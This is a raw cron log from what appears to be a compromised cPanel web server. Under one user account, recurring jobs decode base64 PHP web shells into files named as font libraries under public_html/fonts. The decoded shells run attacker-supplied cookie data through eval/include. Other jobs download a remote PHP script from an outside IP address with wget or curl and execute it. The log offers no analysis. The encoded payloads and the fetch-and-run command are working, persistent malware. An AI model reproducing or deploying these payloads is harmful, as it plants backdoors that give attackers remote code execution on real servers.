Sep  5 19:15:01 ip-184-168-122-23 CROND[10567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:15:01 ip-184-168-122-23 CROND[10568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:15:01 ip-184-168-122-23 CROND[10570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:15:01 ip-184-168-122-23 CROND[10571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:16:01 ip-184-168-122-23 CROND[10892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:16:01 ip-184-168-122-23 CROND[10894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:16:01 ip-184-168-122-23 CROND[10893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:16:01 ip-184-168-122-23 CROND[10896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:16:01 ip-184-168-122-23 CROND[10895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:16:01 ip-184-168-122-23 CROND[10897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:17:01 ip-184-168-122-23 CROND[11227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:17:01 ip-184-168-122-23 CROND[11228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:17:01 ip-184-168-122-23 CROND[11229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:17:01 ip-184-168-122-23 CROND[11230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:18:01 ip-184-168-122-23 CROND[11572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:18:01 ip-184-168-122-23 CROND[11573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:18:01 ip-184-168-122-23 CROND[11575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:18:01 ip-184-168-122-23 CROND[11574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:18:01 ip-184-168-122-23 CROND[11576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:19:01 ip-184-168-122-23 CROND[12028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:19:01 ip-184-168-122-23 CROND[12027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:19:01 ip-184-168-122-23 CROND[12029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:19:01 ip-184-168-122-23 CROND[12030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:20:01 ip-184-168-122-23 CROND[12392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:20:01 ip-184-168-122-23 CROND[12393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:20:01 ip-184-168-122-23 CROND[12399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:21:01 ip-184-168-122-23 CROND[12706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:21:01 ip-184-168-122-23 CROND[12707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:21:01 ip-184-168-122-23 CROND[12708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:21:01 ip-184-168-122-23 CROND[12709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:22:01 ip-184-168-122-23 CROND[13026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:22:01 ip-184-168-122-23 CROND[13027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:22:01 ip-184-168-122-23 CROND[13030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:22:01 ip-184-168-122-23 CROND[13031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:22:01 ip-184-168-122-23 CROND[13033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:23:01 ip-184-168-122-23 CROND[13412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:23:01 ip-184-168-122-23 CROND[13413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:23:01 ip-184-168-122-23 CROND[13415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:23:01 ip-184-168-122-23 CROND[13414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:24:01 ip-184-168-122-23 CROND[13731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:24:01 ip-184-168-122-23 CROND[13733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:24:01 ip-184-168-122-23 CROND[13734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:24:01 ip-184-168-122-23 CROND[13735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:24:01 ip-184-168-122-23 CROND[13736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:25:01 ip-184-168-122-23 CROND[14045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:25:01 ip-184-168-122-23 CROND[14047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:25:01 ip-184-168-122-23 CROND[14046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:25:01 ip-184-168-122-23 CROND[14048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:25:01 ip-184-168-122-23 CROND[14049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:25:01 ip-184-168-122-23 CROND[14050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:26:01 ip-184-168-122-23 CROND[14274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:26:01 ip-184-168-122-23 CROND[14278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:26:01 ip-184-168-122-23 CROND[14276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:26:01 ip-184-168-122-23 CROND[14275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:26:01 ip-184-168-122-23 CROND[14277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:27:01 ip-184-168-122-23 CROND[14444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:27:01 ip-184-168-122-23 CROND[14446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
